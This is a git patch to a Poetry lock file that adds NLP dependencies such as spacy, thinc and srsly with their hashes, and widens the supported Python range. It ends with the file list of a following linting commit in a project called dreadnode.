"spacy-3.8.7-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2e43bd70772751b8fc7a14f338d087a3d297195d43d171832923ef66204b23ab"}, + {file = "spacy-3.8.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c402bf5dcf345fd96d202378c54bc345219681e3531f911d99567d569328c45f"}, + {file = "spacy-3.8.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:4234189861e486d86f1269e50542d87e8a6391a1ee190652479cf1a793db115f"}, + {file = "spacy-3.8.7-cp311-cp311-win_amd64.whl", hash = "sha256:e9d12e2eb7f36bc11dd9edae011032fe49ea100d63e83177290d3cbd80eaa650"}, + {file = "spacy-3.8.7-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:88b397e37793cea51df298e6c651a763e49877a25bead5ba349761531a456687"}, + {file = "spacy-3.8.7-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f70b676955fa6959347ca86ed6edd8ff0d6eb2ba20561fdfec76924bd3e540f9"}, + {file = "spacy-3.8.7-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6c4b5a624797ade30c25b5b69daa35a93ee24bcc56bd79b0884b2565f76f35d6"}, + {file = "spacy-3.8.7-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d9d83e006df66decccefa3872fa958b3756228fb216d83783595444cf42ca10c"}, + {file = "spacy-3.8.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:0dca25deba54f3eb5dcfbf63bf16e613e6c601da56f91c4a902d38533c098941"}, + {file = "spacy-3.8.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5eef3f805a1c118d9b709a23e2d378f5f20da5a0d6258c9cfdc87c4cb234b4fc"}, + {file = "spacy-3.8.7-cp312-cp312-win_amd64.whl", hash = "sha256:25d7a68e445200c9e9dc0044f8b7278ec0ef01ccc7cb5a95d1de2bd8e3ed6be2"}, + {file = "spacy-3.8.7-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:dda7d57f42ec57c19fbef348095a9c82504e4777bca7b8db4b0d8318ba280fc7"}, + {file = "spacy-3.8.7-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:de0e0bddb810ed05bce44bcb91460eabe52bc56323da398d2ca74288a906da35"}, + {file = "spacy-3.8.7-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5a2e58f92b684465777a7c1a65d5578b1dc36fe55c48d9964fb6d46cc9449768"}, + {file = "spacy-3.8.7-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:46330da2eb357d6979f40ea8fc16ee5776ee75cd0c70aac2a4ea10c80364b8f3"}, + {file = "spacy-3.8.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:86b6a6ad23ca5440ef9d29c2b1e3125e28722c927db612ae99e564d49202861c"}, + {file = "spacy-3.8.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ccfe468cbb370888153df145ce3693af8e54dae551940df49057258081b2112f"}, + {file = "spacy-3.8.7-cp313-cp313-win_amd64.whl", hash = "sha256:ca81e416ff35209769e8b5dd5d13acc52e4f57dd9d028364bccbbe157c2ae86b"}, + {file = "spacy-3.8.7-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:be17d50eeade1cfdd743f532d594d2bb21da5788abfde61a7ed47b347d6e5b02"}, + {file = "spacy-3.8.7-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:fdff9526d3f79914c6eae8eb40af440f0085be122264df2ada0f2ba294be2b42"}, + {file = "spacy-3.8.7-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bdb15e6d22655479fdd55bf35b39459a753d68ba3fa5c339c8293925a9cd9012"}, + {file = "spacy-3.8.7-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e1406fde475900c8340c917c71b2e3e8077a027ce9b4d373315cee9dc37322eb"}, + {file = "spacy-3.8.7-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:f90d3a2b64323f89ef2cdfe3e4045dc63595ab7487d2ca3ea033aa69e25abf08"}, + {file = "spacy-3.8.7-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:6cc95942a233d70238b201f7429f7cd8fdd7802e29ccb629da20fe82699959b5"}, + {file = "spacy-3.8.7-cp39-cp39-win_amd64.whl", hash = "sha256:8bfa987aee76cd710197a02ec7a94663b83387c8707f542c11b3f721278cb4e1"}, + {file = "spacy-3.8.7.tar.gz", hash = "sha256:700fd174c6c552276be142c48e70bb53cae24c4dd86003c4432af9cb93e4c908"}, +] + +[package.dependencies] +catalogue = ">=2.0.6,<2.1.0" +cymem = ">=2.0.2,<2.1.0" +jinja2 = "*" +langcodes = ">=3.2.0,<4.0.0" +murmurhash = ">=0.28.0,<1.1.0" +numpy = {version = ">=1.19.0", markers = "python_version >= \"3.9\""} +packaging = ">=20.0" +preshed = ">=3.0.2,<3.1.0" +pydantic = ">=1.7.4,<1.8 || >1.8,<1.8.1 || >1.8.1,<3.0.0" +requests = ">=2.13.0,<3.0.0" +setuptools = "*" +spacy-legacy = ">=3.0.11,<3.1.0" +spacy-loggers = ">=1.0.0,<2.0.0" +srsly = ">=2.4.3,<3.0.0" +thinc = ">=8.3.4,<8.4.0" +tqdm = ">=4.38.0,<5.0.0" +typer = ">=0.3.0,<1.0.0" +wasabi = ">=0.9.1,<1.2.0" +weasel = ">=0.1.0,<0.5.0" + +[package.extras] +apple = ["thinc-apple-ops (>=1.0.0,<2.0.0)"] +cuda = ["cupy (>=5.0.0b4,<13.0.0)"] +cuda-autodetect = ["cupy-wheel (>=11.0.0,<13.0.0)"] +cuda100 = ["cupy-cuda100 (>=5.0.0b4,<13.0.0)"] +cuda101 = ["cupy-cuda101 (>=5.0.0b4,<13.0.0)"] +cuda102 = ["cupy-cuda102 (>=5.0.0b4,<13.0.0)"] +cuda110 = ["cupy-cuda110 (>=5.0.0b4,<13.0.0)"] +cuda111 = ["cupy-cuda111 (>=5.0.0b4,<13.0.0)"] +cuda112 = ["cupy-cuda112 (>=5.0.0b4,<13.0.0)"] +cuda113 = ["cupy-cuda113 (>=5.0.0b4,<13.0.0)"] +cuda114 = ["cupy-cuda114 (>=5.0.0b4,<13.0.0)"] +cuda115 = ["cupy-cuda115 (>=5.0.0b4,<13.0.0)"] +cuda116 = ["cupy-cuda116 (>=5.0.0b4,<13.0.0)"] +cuda117 = ["cupy-cuda117 (>=5.0.0b4,<13.0.0)"] +cuda11x = ["cupy-cuda11x (>=11.0.0,<13.0.0)"] +cuda12x = ["cupy-cuda12x (>=11.5.0,<13.0.0)"] +cuda80 = ["cupy-cuda80 (>=5.0.0b4,<13.0.0)"] +cuda90 = ["cupy-cuda90 (>=5.0.0b4,<13.0.0)"] +cuda91 = ["cupy-cuda91 (>=5.0.0b4,<13.0.0)"] +cuda92 = ["cupy-cuda92 (>=5.0.0b4,<13.0.0)"] +ja = ["sudachidict_core (>=20211220)", "sudachipy (>=0.5.2,!=0.6.1)"] +ko = ["natto-py (>=0.9.0)"] +lookups = ["spacy_lookups_data (>=1.0.3,<1.1.0)"] +th = ["pythainlp (>=2.0)"] +transformers = ["spacy_transformers (>=1.1.2,<1.4.0)"] + +[[package]] +name = "spacy-legacy" +version = "3.0.12" +description = "Legacy registered functions for spaCy backwards compatibility" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "spacy-legacy-3.0.12.tar.gz", hash = "sha256:b37d6e0c9b6e1d7ca1cf5bc7152ab64a4c4671f59c85adaf7a3fcb870357a774"}, + {file = "spacy_legacy-3.0.12-py2.py3-none-any.whl", hash = "sha256:476e3bd0d05f8c339ed60f40986c07387c0a71479245d6d0f4298dbd52cda55f"}, +] + +[[package]] +name = "spacy-loggers" +version = "1.0.5" +description = "Logging utilities for SpaCy" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "spacy-loggers-1.0.5.tar.gz", hash = "sha256:d60b0bdbf915a60e516cc2e653baeff946f0cfc461b452d11a4d5458c6fe5f24"}, + {file = "spacy_loggers-1.0.5-py3-none-any.whl", hash = "sha256:196284c9c446cc0cdb944005384270d775fdeaf4f494d8e269466cfa497ef645"}, +] + +[[package]] +name = "srsly" +version = "2.5.1" +description = "Modern high-performance serialization utilities for Python" +optional = false +python-versions = "<3.14,>=3.9" +groups = ["main"] +files = [ + {file = "srsly-2.5.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d0cda6f65cc0dd1daf47e856b0d6c5d51db8a9343c5007723ca06903dcfe367d"}, + {file = "srsly-2.5.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:cf643e6f45c266cfacea54997a1f9cfe0113fadac1ac21a1ec5b200cfe477ba0"}, + {file = "srsly-2.5.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:467ed25ddab09ca9404fda92519a317c803b5ea0849f846e74ba8b7843557df5"}, + {file = "srsly-2.5.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f8113d202664b7d31025bdbe40b9d3536e8d7154d09520b6a1955818fa6d622"}, + {file = "srsly-2.5.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:794d39fccd2b333d24f1b445acc78daf90f3f37d3c0f6f0167f25c56961804e7"}, + {file = "srsly-2.5.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:df7fd77457c4d6c630f700b1019a8ad173e411e7cf7cfdea70e5ed86b608083b"}, + {file = "srsly-2.5.1-cp310-cp310-win_amd64.whl", hash = "sha256:1a4dddb2edb8f7974c9aa5ec46dc687a75215b3bbdc815ce3fc9ea68fe1e94b5"}, + {file = "srsly-2.5.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:58f0736794ce00a71d62a39cbba1d62ea8d5be4751df956e802d147da20ecad7"}, + {file = "srsly-2.5.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7a8269c40859806d71920396d185f4f38dc985cdb6a28d3a326a701e29a5f629"}, + {file = "srsly-2.5.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:889905900401fefc1032e22b73aecbed8b4251aa363f632b2d1f86fc16f1ad8e"}, + {file = "srsly-2.5.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bf454755f22589df49c25dc799d8af7b47dce3d861dded35baf0f0b6ceab4422"}, + {file = "srsly-2.5.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:cc0607c8a59013a51dde5c1b4e465558728e9e0a35dcfa73c7cbefa91a0aad50"}, + {file = "srsly-2.5.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:d5421ba3ab3c790e8b41939c51a1d0f44326bfc052d7a0508860fb79a47aee7f"}, + {file = "srsly-2.5.1-cp311-cp311-win_amd64.whl", hash = "sha256:b96ea5a9a0d0379a79c46d255464a372fb14c30f59a8bc113e4316d131a530ab"}, + {file = "srsly-2.5.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:683b54ed63d7dfee03bc2abc4b4a5f2152f81ec217bbadbac01ef1aaf2a75790"}, + {file = "srsly-2.5.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:459d987130e57e83ce9e160899afbeb871d975f811e6958158763dd9a8a20f23"}, + {file = "srsly-2.5.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:184e3c98389aab68ff04aab9095bd5f1a8e5a72cc5edcba9d733bac928f5cf9f"}, + {file = "srsly-2.5.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:00c2a3e4856e63b7efd47591d049aaee8e5a250e098917f50d93ea68853fab78"}, + {file = "srsly-2.5.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:366b4708933cd8d6025c13c2cea3331f079c7bb5c25ec76fca392b6fc09818a0"}, + {file = "srsly-2.5.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c8a0b03c64eb6e150d772c5149befbadd981cc734ab13184b0561c17c8cef9b1"}, + {file = "srsly-2.5.1-cp312-cp312-win_amd64.whl", hash = "sha256:7952538f6bba91b9d8bf31a642ac9e8b9ccc0ccbb309feb88518bfb84bb0dc0d"}, + {file = "srsly-2.5.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:84b372f7ef1604b4a5b3cee1571993931f845a5b58652ac01bcb32c52586d2a8"}, + {file = "srsly-2.5.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:6ac3944c112acb3347a39bfdc2ebfc9e2d4bace20fe1c0b764374ac5b83519f2"}, + {file = "srsly-2.5.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6118f9c4b221cde0a990d06a42c8a4845218d55b425d8550746fe790acf267e9"}, + {file = "srsly-2.5.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7481460110d9986781d9e4ac0f5f991f1d6839284a80ad268625f9a23f686950"}, + {file = "srsly-2.5.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:6e57b8138082f09e35db60f99757e16652489e9e3692471d8e0c39aa95180688"}, + {file = "srsly-2.5.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:bab90b85a63a1fe0bbc74d373c8bb9bb0499ddfa89075e0ebe8d670f12d04691"}, + {file = "srsly-2.5.1-cp313-cp313-win_amd64.whl", hash = "sha256:e73712be1634b5e1de6f81c273a7d47fe091ad3c79dc779c03d3416a5c117cee"}, + {file = "srsly-2.5.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:7d3b846ece78ec02aee637c1028cbbc6f0756faf8b01af190e9bbc8705321fc0"}, + {file = "srsly-2.5.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:1529f5beb25a736ba1177f55532a942c786a8b4fe544bf9e9fbbebc5c63f4224"}, + {file = "srsly-2.5.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f3c689a9f8dfa25c56533a3f145693b20ddc56415e25035e526ff7a7251a8c11"}, + {file = "srsly-2.5.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5982d01c7ddd62dbdb778a8bd176513d4d093cc56ef925fa2b0e13f71ed1809a"}, + {file = "srsly-2.5.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:196d3a2cc74758b2284e45f192e0df55d032b70be8481e207affc03216ddb464"}, + {file = "srsly-2.5.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:de756942e08ac3d8e8f5ae4595855932d7e4357f63adac6925b516c168f24711"}, + {file = "srsly-2.5.1-cp39-cp39-win_amd64.whl", hash = "sha256:08b4045506cd4b63d2bb0da523156ab3ee67719aac3ca8cb591d6ed7ee55080e"}, + {file = "srsly-2.5.1.tar.gz", hash = "sha256:ab1b4bf6cf3e29da23dae0493dd1517fb787075206512351421b89b4fc27c77e"}, +] + +[package.dependencies] +catalogue = ">=2.0.3,<2.1.0" + [[package]] name = "sse-starlette" version = "3.0.2" @@ -4443,6 +5067,92 @@ files = [ exceptiongroup = "*" typing_extensions = ">=4.12.2,<5" +[[package]] +name = "thinc" +version = "8.3.6" +description = "A refreshing functional take on deep learning, compatible with your favorite libraries" +optional = false +python-versions = "<3.14,>=3.9" +groups = ["main"] +files = [ + {file = "thinc-8.3.6-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f4abec5a35e5945a6573b62bf0f423709467ba321fea9d00770b4c5282a8257d"}, + {file = "thinc-8.3.6-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ba7ced4bfc5890dd8f4be2978f8d491a07e80c9d9a7fffae9f57970b55db01bd"}, + {file = "thinc-8.3.6-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1e645517d87f71e92137a1aef028094d134223885e15b8472bfcdc09665973ed"}, + {file = "thinc-8.3.6-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:10d8451dd08386d6bbde8160fd0e5e057e04a330c168837d3e0f278fa8738eea"}, + {file = "thinc-8.3.6-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0e913f120fde25aea9f052e8cd45dd9cd36553ff1903e312b7302dd91000125a"}, + {file = "thinc-8.3.6-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:03706680bc0ea92036ac2e00f46bc86116ac6dccb6212b0c632e835176f666b2"}, + {file = "thinc-8.3.6-cp310-cp310-win_amd64.whl", hash = "sha256:0902314ecb83a225f41ab6121ceaf139b5da8bb6ada9e58031bad6c46134b8d4"}, + {file = "thinc-8.3.6-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:7c7c44f8736f27d1cced216246c00e219fb5734e6bc3b8a78c09157c011aae59"}, + {file = "thinc-8.3.6-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:92b3c38bdfdf81d0485685a6261b8a6ea40e03120b08ced418c8400f5e186b2d"}, + {file = "thinc-8.3.6-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:853eb187b1f77057adada1a72e7f6ea3f38643930363681cfd5de285dab4b09b"}, + {file = "thinc-8.3.6-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1c12bf75a375b3b1f7c32a26cbd69255b177daa693c986a27faaf2027439c7ef"}, + {file = "thinc-8.3.6-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5bf1708c22fb54e7846e8e743a9e6a43a22cbe24cab0081ba4e6362b4437a53f"}, + {file = "thinc-8.3.6-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:169d7c5779f6f1a78fa91b2bc3a6485f7bbe4341bd8064576f8e067b67b6a0b5"}, + {file = "thinc-8.3.6-cp311-cp311-win_amd64.whl", hash = "sha256:59c244ce11a3359b9a33b4c3bbc9ba94f7174214356ed88c16a41e39f31fe372"}, + {file = "thinc-8.3.6-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c54705e45a710e49758192592a3e0a80482edfdf5c61fc99f5d27ae822f652c5"}, + {file = "thinc-8.3.6-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:91acdbf3041c0ac1775ede570535a779cdf1312c317cd054d7b9d200da685c23"}, + {file = "thinc-8.3.6-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f5a1db861614f91ff127feecce681c2213777b2d3d1ee6644bcc8a886acf0595"}, + {file = "thinc-8.3.6-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:512e461989df8a30558367061d63ae6f1a6b4abe3c016a3360ee827e824254e0"}, + {file = "thinc-8.3.6-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a087aea2a63e6b9ccde61163d5922553b58908e96f8ad49cd0fd2edeb43e063f"}, + {file = "thinc-8.3.6-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b1d85dd5d94bb75006864c7d99fd5b75d05b1602d571e7fcdb42d4521f962048"}, + {file = "thinc-8.3.6-cp312-cp312-win_amd64.whl", hash = "sha256:1170d85294366127d97a27dd5896f4abe90e2a5ea2b7988de9a5bb8e1128d222"}, + {file = "thinc-8.3.6-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:d8743ee8ad2d59fda018b57e5da102d6098bbeb0f70476f3fd8ceb9d215d88b9"}, + {file = "thinc-8.3.6-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:89dbeb2ca94f1033e90999a70e2bc9dd5390d5341dc1a3a4b8793d03855265c3"}, + {file = "thinc-8.3.6-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:89a5460695067aa6e4182515cfd2018263db77cc17b7031d50ed696e990797a8"}, + {file = "thinc-8.3.6-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0aa8e32f49234569fd10c35b562ee2f9c0d51225365a6e604a5a67396a49f2c1"}, + {file = "thinc-8.3.6-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f432158b80cf75a096980470b790b51d81daf9c2822598adebfc3cb58588fd6c"}, + {file = "thinc-8.3.6-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:61fb33a22aba40366fa9018ab34580f74fc40be821ab8af77ac1fdbeac17243b"}, + {file = "thinc-8.3.6-cp313-cp313-win_amd64.whl", hash = "sha256:ddd7041946a427f6a9b0b49419353d02ad7eb43fe16724bfcc3bdeb9562040b1"}, + {file = "thinc-8.3.6-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:4dc929e9882b67b40e376f591c36a0e5596d1616daa6d67dc401ea7270208598"}, + {file = "thinc-8.3.6-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:9745f4e57560fbba4cfd6d87ef9a0b09efbb14d7721bd7fdd44411ee4bbd021f"}, + {file = "thinc-8.3.6-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:502011141d42536a48522ee9eae52a2f5e3b2315eeaafb8cf238187acf4f8206"}, + {file = "thinc-8.3.6-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5c83b76ec5faf2e9a52d6c6b307d893bae328bf3d5e623205d225b041ce7fc94"}, + {file = "thinc-8.3.6-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:d9fc7436223e83ab02e453bde0f5a878c8cab17679947d99b8a32a5c5bfabb50"}, + {file = "thinc-8.3.6-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:5d7518a5d9679c16b0d2df9b99f0280f21618bae3a2551458b08129156828b72"}, + {file = "thinc-8.3.6-cp39-cp39-win_amd64.whl", hash = "sha256:658b58b18ea7e2bf540dcbdfe0a129f8d97e1cf5c7c89df685ca213fcce35ff4"}, + {file = "thinc-8.3.6.tar.gz", hash = "sha256:49983f9b7ddc4343a9532694a9118dd216d7a600520a21849a43b6c268ec6cad"}, +] + +[package.dependencies] +blis = ">=1.3.0,<1.4.0" +catalogue = ">=2.0.4,<2.1.0" +confection = ">=0.0.1,<1.0.0" +cymem = ">=2.0.2,<2.1.0" +murmurhash = ">=1.0.2,<1.1.0" +numpy = ">=2.0.0,<3.0.0" +packaging = ">=20.0" +preshed = ">=3.0.2,<3.1.0" +pydantic = ">=2.0.0,<3.0.0" +setuptools = "*" +srsly = ">=2.4.0,<3.0.0" +wasabi = ">=0.8.1,<1.2.0" + +[package.extras] +apple = ["thinc-apple-ops (>=1.0.0,<2.0.0)"] +cuda = ["cupy (>=5.0.0b4)"] +cuda-autodetect = ["cupy-wheel (>=11.0.0)"] +cuda100 = ["cupy-cuda100 (>=5.0.0b4)"] +cuda101 = ["cupy-cuda101 (>=5.0.0b4)"] +cuda102 = ["cupy-cuda102 (>=5.0.0b4)"] +cuda110 = ["cupy-cuda110 (>=5.0.0b4)"] +cuda111 = ["cupy-cuda111 (>=5.0.0b4)"] +cuda112 = ["cupy-cuda112 (>=5.0.0b4)"] +cuda113 = ["cupy-cuda113 (>=5.0.0b4)"] +cuda114 = ["cupy-cuda114 (>=5.0.0b4)"] +cuda115 = ["cupy-cuda115 (>=5.0.0b4)"] +cuda116 = ["cupy-cuda116 (>=5.0.0b4)"] +cuda117 = ["cupy-cuda117 (>=5.0.0b4)"] +cuda11x = ["cupy-cuda11x (>=11.0.0)"] +cuda12x = ["cupy-cuda12x (>=11.5.0)"] +cuda80 = ["cupy-cuda80 (>=5.0.0b4)"] +cuda90 = ["cupy-cuda90 (>=5.0.0b4)"] +cuda91 = ["cupy-cuda91 (>=5.0.0b4)"] +cuda92 = ["cupy-cuda92 (>=5.0.0b4)"] +datasets = ["ml_datasets (>=0.2.0,<0.3.0)"] +mxnet = ["mxnet (>=1.5.1,<1.6.0)"] +tensorflow = ["tensorflow (>=2.0.0,<2.6.0)"] +torch = ["torch (>=1.6.0)"] + [[package]] name = "tiktoken" version = "0.11.0" @@ -4491,6 +5201,28 @@ requests = ">=2.26.0" [package.extras] blobfile = ["blobfile (>=2)"] +[[package]] +name = "tldextract" +version = "5.3.0" +description = "Accurately separates a URL's subdomain, domain, and public suffix, using the Public Suffix List (PSL). By default, this includes the public ICANN TLDs and their exceptions. You can optionally support the Public Suffix List's private domains as well." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "tldextract-5.3.0-py3-none-any.whl", hash = "sha256:f70f31d10b55c83993f55e91ecb7c5d84532a8972f22ec578ecfbe5ea2292db2"}, + {file = "tldextract-5.3.0.tar.gz", hash = "sha256:b3d2b70a1594a0ecfa6967d57251527d58e00bb5a91a74387baa0d87a0678609"}, +] + +[package.dependencies] +filelock = ">=3.0.8" +idna = "*" +requests = ">=2.1.0" +requests-file = ">=1.4" + +[package.extras] +release = ["build", "twine"] +testing = ["mypy", "pytest", "pytest-gitignore", "pytest-mock", "responses", "ruff", "syrupy", "tox", "tox-uv", "types-filelock", "types-requests"] + [[package]] name = "tokenizers" version = "0.21.4" @@ -4708,7 +5440,7 @@ version = "0.15.4" description = "Typer, build great CLIs. Easy to code. Based on Python type hints." optional = false python-versions = ">=3.7" -groups = ["dev"] +groups = ["main", "dev"] files = [ {file = "typer-0.15.4-py3-none-any.whl", hash = "sha256:eb0651654dcdea706780c466cf06d8f174405a659ffff8f163cfbfee98c0e173"}, {file = "typer-0.15.4.tar.gz", hash = "sha256:89507b104f9b6a0730354f27c39fae5b63ccd0c95b1ce1f1a6ba0cfd329997c3"}, @@ -4859,6 +5591,21 @@ typing-extensions = {version = ">=4.13.2", markers = "python_version < \"3.11\"" docs = ["furo (>=2023.7.26)", "proselint (>=0.13)", "sphinx (>=7.1.2,!=7.3)", "sphinx-argparse (>=0.4)", "sphinxcontrib-towncrier (>=0.2.1a0)", "towncrier (>=23.6)"] test = ["covdefaults (>=2.3)", "coverage (>=7.2.7)", "coverage-enable-subprocess (>=1)", "flaky (>=3.7)", "packaging (>=23.1)", "pytest (>=7.4)", "pytest-env (>=0.8.2)", "pytest-freezer (>=0.4.8) ; platform_python_implementation == \"PyPy\" or platform_python_implementation == \"GraalVM\" or platform_python_implementation == \"CPython\" and sys_platform == \"win32\" and python_version >= \"3.13\"", "pytest-mock (>=3.11.1)", "pytest-randomly (>=3.12)", "pytest-timeout (>=2.1)", "setuptools (>=68)", "time-machine (>=2.10) ; platform_python_implementation == \"CPython\""] +[[package]] +name = "wasabi" +version = "1.1.3" +description = "A lightweight console printing and formatting toolkit" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "wasabi-1.1.3-py3-none-any.whl", hash = "sha256:f76e16e8f7e79f8c4c8be49b4024ac725713ab10cd7f19350ad18a8e3f71728c"}, + {file = "wasabi-1.1.3.tar.gz", hash = "sha256:4bb3008f003809db0c3e28b4daf20906ea871a2bb43f9914197d540f4f2e0878"}, +] + +[package.dependencies] +colorama = {version = ">=0.4.6", markers = "sys_platform == \"win32\" and python_version >= \"3.7\""} + [[package]] name = "watchdog" version = "6.0.0" @@ -4914,6 +5661,29 @@ files = [ {file = "wcwidth-0.2.13.tar.gz", hash = "sha256:72ea0c06399eb286d978fdedb6923a9eb47e1c486ce63e9b4e64fc18303972b5"}, ] +[[package]] +name = "weasel" +version = "0.4.1" +description = "Weasel: A small and easy workflow system" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "weasel-0.4.1-py3-none-any.whl", hash = "sha256:24140a090ea1ac512a2b2f479cc64192fd1d527a7f3627671268d08ed5ac418c"}, + {file = "weasel-0.4.1.tar.gz", hash = "sha256:aabc210f072e13f6744e5c3a28037f93702433405cd35673f7c6279147085aa9"}, +] + +[package.dependencies] +cloudpathlib = ">=0.7.0,<1.0.0" +confection = ">=0.0.4,<0.2.0" +packaging = ">=20.0" +pydantic = ">=1.7.4,<1.8 || >1.8,<1.8.1 || >1.8.1,<3.0.0" +requests = ">=2.13.0,<3.0.0" +smart-open = ">=5.2.1,<8.0.0" +srsly = ">=2.4.3,<3.0.0" +typer = ">=0.3.0,<1.0.0" +wasabi = ">=0.9.1,<1.2.0" + [[package]] name = "win32-setctime" version = "1.2.0" @@ -5312,5 +6082,5 @@ training = ["transformers"] [metadata] lock-version = "2.1" -python-versions = ">=3.10,<3.13" -content-hash = "132424b50fc38857d447be325f7070de3d454fa850e7278a51877c2545857df4" +python-versions = ">=3.10,<3.14" +content-hash = "608bdd485f2f8fb2d4390f37791f6fdd484c4ca4aa5ef661346c68dd3038f726" From 4a09db053004349b1eeb6ede0adf7205710cb07c Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Sun, 24 Aug 2025 17:48:42 -0600 Subject: [PATCH 15/60] fix linting --- .hooks/generate_docs.py | 10 +++--- dreadnode/__init__.py | 2 +- dreadnode/agent/agent.py | 4 +-- dreadnode/agent/configurable.py | 4 +-- dreadnode/agent/hooks/summarize.py | 4 +-- dreadnode/agent/reactions.py | 2 +- dreadnode/agent/thread.py | 4 +-- dreadnode/agent/tools/bloodhound/tool.py | 34 +++--------------- dreadnode/agent/tools/filesystem/tool.py | 2 +- dreadnode/agent/tools/ilspy/tool.py | 10 +++--- dreadnode/agent/tools/jupyter/tool.py | 2 +- .../agent/tools/pentest/internal/tool.py | 16 ++++----- 